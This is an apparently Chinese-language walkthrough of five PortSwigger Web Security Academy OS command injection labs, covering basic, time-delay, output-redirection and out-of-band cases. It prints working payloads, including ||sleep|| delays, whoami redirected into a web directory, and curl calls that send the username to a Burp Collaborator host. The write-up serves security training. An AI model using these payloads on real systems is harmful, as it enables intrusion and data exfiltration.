Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection
OS command injection, simple case
-
题目描述
-
环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果
-
要求运行
whoami
来确认当前用户身份
-
-
解题过程
-
先找注入点
找到注入点在选地区,查剩余库存的功能点(check stock)
-
注入
burp拦截,
productId=3%26echo 123&storeId=2
返回123 2,说明存在命令注入
-
构造payload
productId=3%26whoami&storeId=2
,报错,提示多余的操作符2
,emmmm,说明会进行2也拼接到了语句里修改
productId=3%26whoami%26echo &storeId=2
-
Blind OS command injection with time delays
-
题目描述
-
在
feedback
功能中有命令注入(盲注):用户输入会被执行,但没有返回 -
要求
产生10秒的延时
-
-
解题过程
-
先去搜索了一下linux下的延迟命令
- 找到一个
sleep num[s/m/h/d]
- 找到一个
-
用burp抓包,经过测试,发现email参数异常,当其中包含有
& | ; %0a `
或者它们的url编码时会返回Could not save
- 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
-
尝试
-
|sleep%2010s|
仍然报错,但是可以看到命令已经成功运行,猜测是管道符
|
导致的参数错误 -
再次尝试,
||sleep%20100s||
,成功且没有报错
-
-
Blind OS command injection with out put redirection
-
题目描述
- 在
feedback
功能点存在命令注入(盲注) /var/www/images/
目录有可写权限,并且图片会被加载到商品详情页面- 要求把
whoami
的结果重定向到上述目录,并拿到结果
- 在
-
解题过程
-
寻找打开图片的接口
-
/image?filename=xx.jpg
-
-
寻找漏洞点
使用上一题的payload,发现漏洞点仍然在email
-
构造payload并执行
||whoami%20>/var/www/images/1.jpg||
-
利用图片接口,获得结果
-
Blind OS command injection with out-of-band interaction
-
题目描述
- 在
feedback
功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
- 要求执行一个
DNS lookup
,(利用collaborator
)
- 在
-
解题过程
-
直接构造payload
||curl%20xxx.burpcollaborator.net||
即可但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果
最终的payload:
||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||
在尝试&和yt交流之后,发现以下payload也可以:
-
a=whoami;curl xxx.xxx/`$a`
-
a=`whoami`;curl xxx.xxx/$a
curl xxx.xxx/`whoami`
这样最简单 -
-
Blind OS command injection with out-of-band data exfiltration
-
题目描述
- 在
feedback
功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
- 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
- 在
-
解题过程
-
直接用上道题最后的payload即可
||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||
(更新)
||curl%20xxx.burpcollaborator.net/`whoami`||
-